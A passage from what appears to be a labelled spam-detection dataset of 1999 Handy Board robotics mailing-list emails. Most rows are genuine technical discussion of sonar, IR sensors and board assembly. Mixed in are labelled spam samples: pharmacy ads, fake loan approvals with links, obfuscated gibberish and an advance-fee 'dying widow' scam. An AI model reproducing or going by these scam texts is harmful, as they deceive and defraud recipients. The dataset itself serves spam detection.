chip on another project (using its EPROM). Thank you a lot, and best regards. Cesar ",0,0 Bob Kelly ,HOWVIN@ncal.verio.com,"Wed, 10 Feb 1999 12:26:07 -0500",Re:Re: Beginners questions,"I got the gear sets from HVW Technologies in Canada. http://www.hvwtech.com/ The gear sets were pretty cheap when you take into account the exchange rate - about $20 for two. They come with motors but youll have to swap them with something else because the motors are rated at voltages below what the H board requires. I used motors from the Gleason research motor/sensor kit and because they were a little longer than the original motors that came with the gear set, I fabricated small spacers out of some copper tubing. Otherwise, the new motors line up fine. Good luck!! ",0,1 Cornelia Carpenter ,handyboard@media.mit.edu,"Wed, 10 Feb 1999 13:07:45 +0000",All products for your health!,"http://kbfmsb.blazehalt.com/?99925001 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! 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You ought to check for wiring problems and excessive friction in the gears and axles. That seems like a huge difference in power settings. Try different pairs of motor ports, too. > Also, are there infared detectors available cheaply (as in a couple bucks) > that will detect objects at least a few inches away rather than the very > short distances provided by the Quality Tech QRB1114? I heard of such things, but don't have specifics. Sorry. > By the way, I've tried this and though the > LED is working, the detector I'm using (detector part of a pair of RS part # > 276-142) doesn't seem to detect anything (out of the light spectrum > possibly?). It could be the wrong wavelength of IR, but more likely is that the detector is expecting modulated IR (pulsed at maybe 40kHz or so to avoid being affected by ambient radiation--e.g. sunlight). Best of luck to you. --Will ",0,0 Bob Kelly ,jonesj5@ocps.k12.fl.us,"Wed, 10 Feb 1999 13:06:45 -0500",RE:Handyboard project,"Hi James, I purchased an assembled and tested H Board from Patrick Hui for about $200, as well as the registered version of IC. Also got his sensor kit ($15). Expansion Board was purchased from Gleason for $59. Also bought the sensor/motor kit from them ($35). I got the expansion board because I have a few servo motors lying around from some R/C aircraft projects I've built and didn't think the straight H Board with two max servo outputs would be enough. Had to buy batteries and charger, didnt have the right charger laying about and my duracels that I scavenged from around the house didnt last long. ($20). Went to a nearby hobby store and spent about $15 on construction materials such as sheet styrene plastic (used one partial sheet for my base approx 6"" by 7.5""). Also bought with the sheets some angle stock in plastic and brass as well as some hollow square stock. Very useful in construction. As far as figuring out how to get it to do a simple obstacle avoidance routine, it was pretty easy. I don't have any programming experience per se, but I know how to use and ""if-then"" statement and a while loop. I found a deal on ""C for Dummies"" at the book store to use as a reference. ($20 for both volumes!). I'm still waiting for a copy of ""Mobile Robots: Insppiration to Completion"" to arrive. What has been most helpful is the relatively friendly design and the mounds of available documentation provided by Fred Martin and other contributors. Thanks guys for making something this cool accessible to morons like myself!! Where I'm having trouble is using the sensors. I have already burnt out one of the sensors I plan to use as a wheel encoder and am currently looking for a new one (Mouser, I think). I can get simple sensors such as light sensors to work fine, but I really want to use Infrared detectors for the bulk of my collision detection. I have not had much luck with this goal. I'm hoping that some sensors I've ordered from Mouser will fit the bill here. Because I don't have any electronics experience, a made from scratch IC is a little out of my reach (for now). Any tips would be helpful in this area. Anyways, thank you for the kind words. Obviously, I've got more money than brains or I would have constructed the stuff from a kit and saved some cash, but again, I thought that might be a little out of my reach. I am an accountant, not an engineer. Good luck with your own project!! ",0,0 """Shannon S. Marcum"" ",handyboard@media.mit.edu,"Wed, 10 Feb 1999 06:25:51 -0600",RERE: Loan Application 06wz,"Dear Homeowner, handyboard@media.mit.edu http://feabc.com You have been approved for a $ 988,565 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://feabc.comL Best Regards Don Nut Loan Manager http://feabc.com/redirect handyboard@media.mit.edu wrote: > Yours loan is approved 9h5s6b36sf ",1,1 William Bain ,handyboard@media.mit.edu,"Wed, 10 Feb 1999 11:33:09 -0700",Re: Stupid multiple sonars...,"Ian Hojnicki wrote: >I guess I have a really simple question to ask... I know that I can >share many of the lines off of the SPI in order to hook up two polaroid >sensors... However, is it really necessary to add a diode to each of the >ECHO lines? If so, what are the specs for those diodes? I am basing the >fact that I can use D3 for the additional INIT line for the second >sonar. IS THIS CORRECT? It is correct that you can use the remaining SPI pins as digital outs to trigger a second sonar. I've done it and it works fine. It's also true that there *is* signal contention on the echo lines if you simply plug 'em both into the same TIC port. I don't yet know whether diodes will fix the problem, but I'll give it a try and let you all know. --Will",0,0 Kyran Parcell ,handyboard@media.mit.edu,"Wed, 10 Feb 1999 07:35:31 -0700",Re: your CtALluS,"Hi V V L P C A X A I e r I m a L A v o A b n I G i z L i a U R t a I e x M A ra c S n http://www.lopasinoalok.com the Sackville-Bagginses were, in fact, busy measuring his rooms to see if their own furniture would fit. In short Bilbo was Presumed Dead, and not everybody that said so was sorry to find the presumption wrong. The return of Mr. Bilbo Baggins created quite a disturbance, both under the Hill and over the Hill, and across the Water; it was a great deal more than a nine days wonder. The legal bother, indeed, lasted for ",1,1 Clancy Nelson ,HB Mail List ,"Wed, 10 Feb 1999 14:52:10 -0600",Expansion board assembly tips?,"I just got a expansion board kit from Douglas Electronics and was wondering if anyone has any tips for assembling the board, I'm quite experienced at building kits but I thought maybe someone who had built the kit already might offer some advice, also, is there any instructions online?. Thanks, Clancy ",0,0 Will Bain ,Handyboard Mailing List ,"Wed, 10 Feb 1999 14:57:55 -0700",Re: Polaroid Sonar Questions,"Nick Taylor wrote: > I'm looking for help/advice with my sonar setup. > 1. How to deal with ""jitter"" of about ±1 cm at all ranges. My > tentative solution is to average 3 or 4 readings. > 2. How to deal with the occasional (once out of 10 or 20 pings) > large error. My tentative solution is to discard ranges that > have changed a ""large"" amount since the previous reading ... > faster than the 'bots max velocity ... but what about a > rapidly approaching predator such as my cat? I found that returning the median (middle value) of three successive readings filters out the noisy readings quite well--especially the occasional large error. Just a couple nested if-then statements are needed. > 3. How to determine when the minimum reliable range has been > reached. Tentative: just discard anything less than 20 cm. Sure, that sounds about right. > 4a.Are my time of flight calculations correct? Polaroid implies > that the speed of sound is about 1.1 feet/sec. My reference > says 331.6 m/sec at 0°C and approx. 354 m/sec at 20°C (68°F). > If my grade school math is correct this works out to a sonar > inch (out and back time) equal to 143.5 usec (287 counts) and > a sonar centimeter of 56.5 usec (113 counts). > 4b.Using Dr. Martin's sonar.c to test the 6500 the about figures > give reasonably accurate readings, but it is necessary to > subtract about 1000 counts (0.5 msec) from the returned result > prior to converting to inches or centimeters. When I calibrated mine, the counts per cm ended up about 143 (maybe because I live up in the thin air?) > 5. How best to implement the software to take full advantage of > the 6500's capabilities? > > I intend using Adam Cox's four transducer hookup at: > http://el.www.media.mit.edu/groups/el/projects/handy-board/software/contrib/adam/mxducr1.gif There's a lot to be said for simple solutions. The Seattle Robotics Society web site had a great page about sonar (I don't know if it's still there). It described overlapping the 10-degree fields of ""view"" of a couple of sonar transducers by five degrees to provide a 15-degree field with 5-degree effective resolution. I plan to follow their lead. I'll let you all know how it turns out. Have a blast. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you steal from one author, it's plagiarism; Will Bain, if you steal from many, it's research. & Tatoosh --Wilson Mizner",0,1 Will Bain ,Handyboard Mailing List ,"Wed, 10 Feb 1999 15:08:28 -0700",Re: Purchase a handyboard? where???,"BMajik5127@aol.com wrote: > I want to know if Anyone will be selling the handyboard @ the Trinity > firefighting home robot contest this year in Conn? > also any links to where I can get one otherwise would be much appreciated. I recommend saving up your milk money and buying a pre-assembled, tested HandyBoard. Sure, it costs a little more, but for me (electronics moron that I am) it was worth it. I bought mine from Patrick Hui at the Robot Store in Hong Kong. I can assure you that Mr. Hui is competent and helpful and a really nice guy. I later added a NiCd battery pack and the resettable thermistor fuse (F1), since neither was included with the HB that I purchased. Check the HB web site for information. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you steal from one author, it's plagiarism; Will Bain, if you steal from many, it's research. & Tatoosh --Wilson Mizner ",0,0 Tom Brusehaver ,promatec@cpovo.net,"Wed, 10 Feb 1999 17:03:04 -0600",Re: MC 68HC711 E9CFN2 - please help me as soon as possible!!!!," >I'd like to know if the MC 68HC711 E9CFN2 chip can be used with the >HandyBoard. It has 12 kB of internal EPROM, I've never seen a smd eprom >chip, but I don't need the EPROM. The case is that I can buy tons of these >microcontrollers for a bargain, much less than 10 dollars. One of the things >I want is to make some more HandyBoards to my friends here, and later I want >to use this chip on another project (using its EPROM). The EPROM is probably disables with a setting in the config register. If folks are looking for cheap 68HC11A1FN's, I was able to get 'em for about $5 each, and they came with a bunch of other electronics, and 2 motors. Turns out Connor disk drives used this chip for a while. A local surplus store had ""dead"" drives for $5 each. If you are careful, the chip comes off pretty easy using a dremel, and soldering iron. Not sure what to do with the rest of the parts though :-). ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","Clancy Nelson , HB Mail List ","Wed, 10 Feb 1999 20:24:11 -0600",Re: Expansion board assembly tips?,"Hello All, My expansion board went together well considering I have little experience building kits. Try to get the header pins straight before sodering all the pins. Terry G. ---------- > From: Clancy Nelson > To: HB Mail List > Subject: Expansion board assembly tips? > Date: Wednesday, February 10, 1999 2:52 PM > > I just got a expansion board kit from Douglas Electronics and was wondering > if anyone has any tips for assembling the board, I'm quite experienced at > building kits but I thought maybe someone who had built the kit already > might offer some advice, also, is there any instructions online?. > Thanks, > Clancy >",0,0 William Sitch ,Max Davies ,"Wed, 10 Feb 1999 21:23:39 -0500",Re: Stack Overflow,"Hi everyone: Sorry for the reply latency, I was buried under an avalanche of work and assignments. Changing the format of the code (as detailed below) helped immensely. I re-wrote two of my drivers to use the increased size, and everything is working perfectly. I believe this is definitely something for the FAQ, as the solution is fairly obscure, and the ""yacc"" keyword is best searched for. Thanks to Max, Regan, and Fred, for all your kind help. ----- Original Message ----- From: Max Davies To: William Sitch Cc: Sent: Sunday, January 24, 1999 11:16 AM Subject: Re: Stack Overflow >William Sitch wrote: > >> ...I tried to increase the stack size of the process I spawn, but the error >> still exists. I think I might be getting a compile-time stack overflow - or >> something like that. The procedure it crashes for is a leg controller, and >> consists of many ""if .. else if"" statements. > >If your code looks something like this... > >if (i == 1) do001(); else >if (i == 2) do002(); else >if (i == 3) do003(); else >. >. >. >if (i == 100) do100(); > >...then try changing it to this: > >/* Not really a loop, just so we can break */ > >for (;;) { > if (i == 1) { > do001(); > break; > } > if (i == 2) { > do002(); > break; > } > if (i == 3) { > do003(); > break; > } > . > . > . > if (i == 100) { > do100(); > break; > } > > break; /* Always break... this isn't really a loop */ >} > > >...this won't be any less efficient and should resolve your compile-time stack >overflow as it doesn't nest the IF statements. > >/Max > >",0,0 Alejandro ,Anthony ,"Wed, 10 Feb 1999 15:03:28 -0700",now's the time,"It's time to terminate the sadness of the proportion of ur thing. check it at www.stateforustoseee.com/fx6/. It does not get nicer than this. the However, see bombing not everybody incident and the four girls that died as a Alejandro. ",1,0 Kwin Kramer ,play99@media.mit.edu,"Wed, 10 Feb 1999 22:01:59 -0500",Class Web Page," Hi, The ""Projects in Play"" Web page is up: http://el.www.media.mit.edu/classes/play99/ The assignments for next week (though there is no class meeting) and the readings for the week after that are detailed thereon. We will continue to add to both this page and our individual pages over the course of the semester. If you have suggestions, please don't hesitate to offer them... Kwin ",0,1 hacke@icns.com,handyboard@media.mit.edu,"Wed, 10 Feb 1999 21:32:02 -0500",Large circuit construction - How?,"Hi All What is a good method to build circuits with say 5-10 ICs or more (say 14 to 20 pins on each IC) and assoicated discretes? I have been able to construct on Rat Shack et al copper proto boards circuits with 1 or 2 ICs and point to point wiring (I used wire-wrap wire hand cut to length), but for larger projects this method leaves lots to be desired! I wish to use the large circuits with my Handy Board. Bread boards are not too portable and things fall out! Wire wrap sockets seem to offer too much potential for shorting something out (like my HB!). There are many neat circuits on the web but I have found little on constuction methods. Thanks! Keith ",0,0 """Fred G. Martin"" ","""Terry P. Gathright"" <669@worldnet.att.net>","Wed, 10 Feb 1999 22:40:28 -0500",Re: Expansion board assembly tips? ,"there are bldg tips at http://el.www.media.mit.edu/projects/handy-board/hbexp30/assembly.html fred In your message you said: > Hello All, > My expansion board went together well considering I have little > experience building kits. > Try to get the header pins straight before sodering all the pins. > Terry G. > > ---------- > > From: Clancy Nelson > > To: HB Mail List > > Subject: Expansion board assembly tips? > > Date: Wednesday, February 10, 1999 2:52 PM > > > > I just got a expansion board kit from Douglas Electronics and was > wondering > > if anyone has any tips for assembling the board, I'm quite experienced > at > > building kits but I thought maybe someone who had built the kit already > > might offer some advice, also, is there any instructions online?. > > Thanks, > > Clancy > > >",0,1 adekolaf@is2.dal.ca,handyboard@media.mit.edu,"Thu, 11 Feb 1999 01:09:07 +0000",HELP,"I am just wondering if anyone has had an experience with New Micro's NMIX - 0020 board before? I am having problem downloading my program. Regards, Felix ",0,0 Regan Russell ,handyboard@media.mit.edu,"Thu, 11 Feb 1999 16:45:46 +1100",Disaster :-(,"Hi all, Help, I suspect that my handy board is dead..:-( I had it running at work and my boss pulled a battery out of the pack while a program was running. I now have the black squares across the top row indicating that there is no pcode or program loaded. I noticed that the black squares used to flicker at about the same rate as the heart beat but now they are solid.. When I try to download pcode the green power led beats at the same rate as the SER led. After about two or maybe three seconds the LEDs go solid and the download program (I use icw and my boss the DOS version and we have tried both ) reports board not responding.. About ten attempts and nothing works... My boss has a CRO and multimeter. What information could I provide to assist in working out what is wrong ? Regards, Regan www.users.bigpond.net.au/rrussell ",0,0 Hunter Durst ,handyboard@media.mit.edu,"Wed, 10 Feb 1999 18:40:18 -0700",Re: good AMBtEzN,"Hi, C w I u A f L j I p S t V v I q A c G z R z A f V l A w L j I o U f M i X e A u N z A y X g http://www.fendervanizapen.com Lettis ladybir entrancin inguina Sardinia chairmans eyes. Shall it be up there? In your house? No! cried Armbruster. She yaps all the time and wants to know everything about everybody, then blabs all over town exaggerating everything. I assume youre talking about your wife. All of em! They dont know when to keep their traps shut. ",1,1 Clancy Nelson ,HB Mail List ,"Thu, 11 Feb 1999 02:53:32 -0600",Thanks,"Thanks for the info, it helps allot!!!. Clancy ",0,0 Drake Behm ,handyboard@media.mit.edu,"Wed, 10 Feb 1999 21:00:12 -0700",Re: toxyt news,"D x ear Home O d wne f r , Your c c red d it doesn't matter to us ! If you OW u N real e o st n at g e and want IM i ME t DIAT f E cas p h to s d pen v d ANY way you like, or simply wish to L l OWER your monthly pa h ym v ents by a third or more, here are the dea e ls we have T s OD y AY : $ 48 w 8 , 000 at a 3 s , 67% f j ixed - ra k te $ 37 w 2 , 000 at a 3 , 9 s 0% v i aria e ble - ra q te $ 4 a 92 , 000 at a 3 k , 21% int v ere a st - only $ 2 d 48 , 000 at a 3 a , 36% fi x xed - rat s e $ 1 d 98 , 000 at a 3 , 5 e 5% varia r ble - ra i te Hurr o y, when these d d eaIs are gone, they are gone ! Don't worry about app d ro o val, your c v redi j t will not d e isqualif j y you ! V m isi f t our si j te Sincerely, Drake Behm Ap v prova q l Manager",1,1 Mrs Williams Kokou ,,"Thu, 11 Feb 1999 07:31:21 +0100",My Greeting to you in the name of our Lord Jesus Christ,"Christan Penticostal Mission International Trenchville, Abidjan, Cote D'Ivoire West Africa. Dearest Beloved One, Calvary Greeting to you in the name of our Lord Jesus Christ. Perhaps this would go down as the most difficult letter i will ever attempt to right in my life. I am not sure that it will adequately conveys the remorse I feel at this moment how do I begin my story? How do I tell this story without shedding tears Tears of sorrow Oh God I think you for giving me this opportunity to air my view and to share this story with some one.I am Mrs. Williams Kokou from Ivory Coast. I was married to Late Mr Wiliams Kokou who was a contractor with the government of Cote D'Ivoire before he died after few days in the hospital.The doctor said his death was as a result of poison. We were married for so many years with two small children a girl of 4yrs and a baby boy of 1 year.Before his death we were both born again Christian. When my late husband was alive he deposited the sum of $14.500 Million with a Bank in Cote D lvoire. Presently this money is still in the custody of the Bank in Cote D lvoire. Recently, my Doctor told me that it is very likely i will die within the next nine months due to cancer problem. Having known my condition I decided to donate this fund to a church, organization or good person thatwill utilize this money the way I am going to instruct here in. I want a church,organization or good person that will use this fund for orphanages, widows and other people that need help and also propagating the word of God and to endeavor that the house of God is maintained.The Bible made us to understand that""Blessed is the hand that giveth"". l took this decision because I have two children who are still small and that will inherit this money later in life through the care of a good God fearing Gardian and my husband relatives are not Christians not even good at all because they are the one that responsible for the death of my husband in other to have all my late husband's prperty and I don't want my husband's efforts to be used by those that conspired for his death.I don't want them to know about this development and l know that With God all things are possible This is why I am taking this decision.Though it was very painful to hear this kind of news from my doctor but I am not afraid of deathbecause I know where I am going. I know that I am going to be in the bosom of the Lord. I don't think there is need for any telephone communicatin this regard because of my health but the important thing to me is for you to do what i will require you in this regard. As soon as I receive your reply I shall give you the contact of the Bank in Cote d' lvoire.I will also issue a letter of authorization to the bank that will prove you the present beneficiary of this money. I also want you, church or the organization to always pray for me because the lord is my only shepherd. My happiness is that I lived a life of a worthy Christian. Whoever that Wants to serve the Lord must serve him in spirit and Truth.Please always be prayerful all through your life.Any delay in your reply will give me room in sourcing another good person,church,organization for this same purpose. Please assure me that you will act accordingly as I Stated here in. Hoping to receive your response immedaitely. Thanks and Remain blessed in the Lord. l remain yours sister in Christ. Mrs. Wiliams Kokou ",1,0 Kwin Kramer ,play99@media.mit.edu,"Thu, 11 Feb 1999 07:10:45 -0500",Intel/Mattel Toys," The first toys from the joint Intel/Mattel venture have been announced: http://www.techweb.com/wire/story/reuters/REU19990204S0006 Kwin ",0,1 Mitchel Resnick ,play99@media.mit.edu,"Thu, 11 Feb 1999 07:34:25 -0500",Pretend Play,"In our first class, I mentioned a Boston Globe article about the importance (and disappearance) of ""pretend play"" among young kids. Here it is... ------- Start of forwarded message ------- Pretend play enriches development By Barbara F. Meltz, Globe Staff, 01/28/99 In years gone by, children in Cheryl Silveira's family daycare in Windham, N.H., would get very excited if she found a refrigerator box. They could play for hours pretending it was a boat or a house or maybe a space ship. This year, when she proudly plunked a refrigerator box into the play area, the children's response was far different. ''They didn't do anything,'' says Silveira. ''When I said, `Wow! Isn't this a great box, we can pretend all kinds of things with this!' they said, `But it's just a box.''' Silveira crawled inside and pretended it was a school bus. The six children, ages 1 1/2 to 5, were happy to crawl in and out with her but, says a disappointed Silveira, ''They never got carried away with it. It never was more than a box to them.'' When a box is only a box, preschoolers may be in trouble. The ability to create make-believe worlds lays the foundation for academic learning and healthy development, according to researchers. ''Being able to pretend is not a luxury, it's a necessity,'' says Yale University psychologist Jerome Singer. One of the nation's leading authorities on children's play and coauthor of a classic on the subject, ''House of Make Believe'' (Harvard University Press), Singer is sad but not surprised to hear what's happening in Silveira's Bugle Bear Day Care. Unfortunately, he hears it from teachers all over the country. Martha Smith, who runs a three-day-a-week laboratory preschool at Ipswich High School as part of the child development curriculum, sees the lack of imagination most in children's artwork. ''It used to be that kids would prefer a blank piece of paper for coloring and they'd create elaborate stories to go with the drawing. Now,'' she says, ''they either want a coloring book or they want us to tell them what to draw.'' Smith, who has worked with preschoolers for seven years, laments, ''They look to the adults for how things should be rather than pretend how they'd like them to be.'' There's no single, overarching reason why teachers are seeing less pretend play. Silveira attributes it to too much TV and computer time. Singer says it's that, plus too many programmed activities at too young an age, and overworked parents with too little time to play. Early childhood educator Mary Mindess of Lesley College has another theory. ''Society in general doesn't value play as a learning process,'' she says. ''We want results, as in test results, so we push academics too early, letters and words at age 3. The message kids get is that pretending isn't valuable.'' Perhaps the best way for adults to understand pretend play is to think of it as a filter that enables young children to view the complicated pieces of their world up close and transform them into pieces they can manage. Because it is every-day experiences that loom largest, these are what children most need to examine and own. Consider how the preschooler watches several times a day as mom stops what she's doing and gets very busy in the kitchen with her noisy, shiny objects. What is she doing? Why can't she play anymore? This must be very important. By playing kitchen herself, a preschooler not only imitates the role of mom, she becomes mom, says early childhood educator Edgar Klugman. ''First, she studies the person. Then she imitates the actions, even the speech and movements. The more mom engages with her - `To scramble an egg, I crack it against a bowl' - the more a child learns rules of the role,'' he says. The more imagination a child brings to the play, the richer the experience. Indeed, research shows that elaborate imaginary play leads to increased language comprehension, vocabulary, problem-solving skills, attention span, cooperation, empathy, and social skills, according to Klugman, a professor at Wheelock College who is known for his research on children's imaginary play. On the other side of the coin, research shows that children who have little or poor experience with imaginary play are more aggressive in later years, have less self-control and less success with learning. The positive payoffs begin to accrue as early as kindergarten and first grade and continue through adulthood, says Klugman. ''Without the rich experience of imaginary play as a child, an adult is very limited. Leaders tend to have had very good play experiences,'' he says. Here's how make-believe play fosters development in three areas: Emotionally. ''Because a child plays out feelings as well as roles, it has a cathartic effect: The things he's worried about will play out,'' says Mindess, who is coordinator and founder of the New England Kindergarten Conference. Perhaps he was in a car accident with daddy. In his play, he'll re-create the accident over and over, she says, until he has control of the events and the feelings are less scary. Parents typically don't even realize this is happening, partly because we're too literal and don't recognize the play for what it is, says Mindess, and partly because children don't need realistic props. ''They're very good at using objects as symbols, a block for a car, for instance,'' she says. Intellectually. As he observes something and acts it out, he learns about it. Every week, the 4-year-old goes to the grocery store. At first, he is intrigued by the cashier, then watchful of him. One day in his imaginary play, he is the cashier. The next trip to the store, he watches more carefully because his play has made more aware of nuances. He sees something he didn't see before, perhaps the numbers on the register. Next time in his play, he says to the make-believe customer, ''You owe me 10 -teen dollars.'' ''Even though there's a misunderstanding in the learning, it doesn't matter, because it's a self-correcting process,'' says Mindess. ''He'll learn correct numbers another time. What's more important is that the pretending gives the brain the opportunity to make more and more links.'' The more links there are, the more information the brain can take in, and that makes a child more open to more experiences. In other words, Mindess says, the concrete provides the basis for pretend play, but the pretending helps a child make it her own and learn. Morally. Because children use play to work through their own issues, pretending may start off as imitation but quickly branch out to reflect a child's perceptions. It's in this way that values get absorbed, says Mindess. She gives an example of a preschooler with a new-born brother who is caring for her doll, much like mommy cares for the baby, except that suddenly she hits the doll and says, ''You're a bad baby!'' It's through that process, she says, that a child's conscience develops: She's working out for herself the moral value of knowing it's wrong to hit the baby at the same time she's coping with feelings of jealousy. ''Without the opportunity to hit the doll, the feelings are pent up and the child won't be as free to incorporate the positive values,'' or to keep from acting on the negative ones, says Mindess. The more parents or caregivers can engage in pretend play with a child, the more likely it is a child will make believe on her own, and the more learning will occur. ''Sometimes you just need to provide objects and show an interest,'' says Klugman. Other times, as with the children in Silveira's care, ''You have to literally show them,'' says Singer. It takes energy, interest, and know-how and some parents are either clueless or uncomfortable with pretending. It's so important, though, that Singer has a new project in New Haven to teach low-income parents how to encourage imaginary play. Most popular is the restaurant game: ''You imagine you're in a restaurant and you sit at the table and you take turns being the waiter and the customer: `Oh, I have two friends with me, so I need three seats.' Suddenly your child's not just having fun playing with you, he's learning numbers and words, like appetizer, and he's learning social amenities,'' says Singer. ''We pitch that it helps with school readiness, which it does,'' he says. But it's even more basic than that. Pretend play is practice of real-life skills. ''It's a rehearsal,'' says Mindess. - ---- CHILD CARING Games children play By Barbara F. Meltz, Globe Staff, 01/28/99 As important as it is for parents to be encouraging and involved in pretend play, it's also important to back off once her imagination is ignited. There's no bigger damper to creativity than a parent who takes over the play. Children don't need store-bought toys for pretend play. Improvising with whatever is around the house is often better. Observing a child's pretend play can give you a window into the issues she's working on, but even if you don't like what you see, don't scold her for the content of her play. If it's troublesome to you, talk to a professional about it. There's nothing wrong with a 3-year-old who only piles blocks up and knocks them down, but you can try to engage his imagination with a story around his play: ''Once there was a big tall tower that was the biggest building in the city, but one day there was a giant who had such a powerful sneeze he could make buildings fall down. One day he had a terrible cold...'' By age 4, children typically engage peers in elaborate pretend play where they use props. Interacting with each other - ''Don't you know waiters don't say that?!'' - they learn from each other ways to interpret various roles. Reading daily to your child or telling her stories is the best way to encourage pretend play. ------- End of forwarded message ------- ",0,0 Segulah Tucci ,handyboard@media.mit.edu,"Thu, 11 Feb 1999 04:04:27 -0500",zip back your mental energy,"it wolve and bruno be redstart but plumbago and exception ",1,0 """Fred G. Martin"" ",Regan Russell ,"Thu, 11 Feb 1999 08:22:51 -0500",Re: Disaster :-( ,"it's extremely unlikely that removing a battery will have done any harm. which program precisely are you using to download the pcode? you should be using HBDL.EXE or DL.EXE or DLM.EXE. you should be trying to download PCODE_HB.S19. also, make sure your board is in ""bootstrap download mode"" when you begin the download. this is done by holding down the stop switch while turning the board on. fred In your message you said: > Hi all, > Help, I suspect that my handy board is dead..:-( > I had it running at work and my boss pulled a battery out of the pack > while a program was running. I now have the black squares across the > top row indicating that there is no pcode or program loaded. I noticed that > the black squares used to flicker at about the same rate as the > heart beat but now they are solid.. > > When I try to download pcode the green power led beats at the same rate > as the SER led. After about two or maybe three seconds the LEDs go solid > and the download program (I use icw and my boss the DOS version and > we have tried both ) reports board not responding.. About ten attempts and > nothing works... > > My boss has a CRO and multimeter. What information could I > provide to assist in working out what is wrong ? > > Regards, > > Regan > www.users.bigpond.net.au/rrussell > > ",0,0 """Hymen I. Calf"" ",Bradley ,"Thu, 11 Feb 1999 04:41:40 -0400",The Ultimate Online Pharmaceuticals,"Vlimagra $3.3 Levitxra $3.3 Cialais $3.7 Imitrwex $16.4 Fnlomax $2.2 Ultroam $0.78 Viopxx $4.75 Amfblem $2.2 VaIieum - $0.97 Xantax $1.09 Sooma $3 Merihdia $2.2 visit our website http://anideasarti.com/?UHJENDU0BGV1BWclZZG1JT ___ Best regards, Online Pharmaceuticals ghfgdrtpu U0BGV1BWclZZG1JT After winter spring will come. A mother's love changes never. Actions speak louder than words. ",1,1 Ranjit Diol ,HandyBoard ,"Thu, 11 Feb 1999 10:05:01 -0500",Need Help - 68HC11E1/68HC24 and 32K external RAM,"I have a HB w/exp brd and have just acquired a TCOMP PortMaster board (by Ray's Tiny Racers) which I would like to use on a 'robot dispatch base station'. Other than two PWM motor ports it has no other accessories ( ei beeper, IR detect etc.). It uses an E1 along with the 68HC24 and 32K battery-backed external RAM. The TCOMP comes with limited documentation. I have found little info on using the 68HC24 other than what is in the Motorola Ref Manual (""The Pink Bible""). From what I understand is that the 68HC24 recovers Ports B and C which were used for addressing external memory and is transparent to software. IC does not have any support for the TCOMP. However, I am able to use the RugWarrior pcode to access the motor ports, porta and porte but not Ports B and C. If any one has used the E1 with the HC24, I would truly appreciate any help or suggestions. Thanks, Ranjit ",0,0 brett anthony ,'Clancy Nelson' ,"Thu, 11 Feb 1999 07:11:17 -0800",RE: Expansion board assembly tips?,"Before you do anything else, I would suggest cut to length the male headers which interconnect with the HandyBoard, and plug them into the appropriate sockets on the HB. Note that the mating pins are too long to insert fully into the sockets. This is by design. Fit the Exp board to the solder tails, and solder from the top. You may have to do some judicious bending of the female sockets on the HB to make it line up. Brett Anthony Equipment Technician College of Engineering and Computer Science California State University, Sacramento Postal Mail: Brett Anthony CSUS, E&CS 6000 J St. Sacramento, CA 95819-6023 email: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 ",0,0 ��ö�� ,handyboard@media.mit.edu,"Thu, 11 Feb 1999 10:13:14 -0200",--------------> ������ij�� ��ȸ�簡 ���� �帳�ϴ�. �ִ� 5 0 0 0 ���� �����մϴ�. . gwuukgmtofpzeoslm j,���� ���� qe whigyglbuwfiii wpoame tymz,1,1 Ed Spike ,HB Mail List ,"Thu, 11 Feb 1999 00:44:07 -0500",Subject headers,"The ""RE"" in the subjuec headers is redundant. Also it confuses some of the e-mail filters. Please leave out the ""RE"". Thanks Ed Spike 73,33 -- ",0,0 Mike Jones ,"Ed Spike , HB Mail List ","Thu, 11 Feb 1999 12:21:44 +0600",Re: Subject headers,">The ""RE"" in the subjuec headers is redundant. Also it confuses some of the >e-mail filters. Please leave out the ""RE"". Most email packages automatically insert this and it is quite alot of trouble to disable this for just one list. I usually look at the subject line and remove multiple ""RE:"" manually and some email packages do this automatically, too. I suggest that you set you filter to look at the subject line and do a ""contains"" rather than 'begins with"" type of compare. Mike ",0,0 shsc9801@condor.stcloudstate.edu,Ed Spike ,"Thu, 11 Feb 1999 12:50:02 -0600",Re: Subject headers,">The ""RE"" in the subjuec headers is redundant. Also it confuses some of the >e-mail filters. Please leave out the ""RE"". > >Thanks >Ed Spike 73,33 >-- On the contrary, I have numerous email come in and, therefore, cannot take the time to read the all. This helps me to quickly determine if it is a new subject to address or not. Scott Sherman IT Spec. II ACS SCSU ",0,0 khearn@icp.siemens.com,handyboard@media.mit.edu,"Thu, 11 Feb 1999 11:27:13 -0800",IR remote problem," I picked up a surplus remote control at Halted Specialties (http://www.halted.com/) and am trying to use Max Davies' IRINT.ICB, IR.C and TEST.C, and I'm not having any luck. I'm seeing two main problems. 1) Some keys give 35 bits of data, and some give 38 bits. 2) The raw data for any given key changes between subsequent presses, switching back and forth between two values. For instance, the ""1"" key gives 38 bits, with 8004002000 on one press, then 4002001000 on the next, and then back to 8004002000. The ""2"" key gives 35 bits, cylcing between 8020828020 on one press and 4024024020 on the next. I had the same problem with the remote for my Magnavox VCR. THe remote for my Sony TV works fine with the sony_ir routines, so I'm pretty sure the Handy Board and the IR receiver module are workin ok. The surplus remote is a TV remote, but has no indication as to what brand it is for. Am I dealing with RC-5 coded remotes? If so, is there any software for the Handy Board that will decode RC-5? Or am I facing some other issue? Here are typical values that TEST.C is giving me for pulse widths: Pulse_mode: 1 Bits: 38 or 35 Lpulse: 1150 Lspace: 630 1pulse: 2000 1space: 700 0pulse: 1000 0space: 700 Tpulse: 1030 Tspace: 1030 BTW, the Tpulse and Tspace are always identical. Looking in TEST.C, they are both set to the same value. Is this a bug? Thanks for any light anyone can shed, Keith Hearn ",0,1 Darkman ,handyboard@media.mit.edu,"Thu, 11 Feb 1999 15:57:42 -0500",Robot base ,"Hi I have been following this mailing list and the 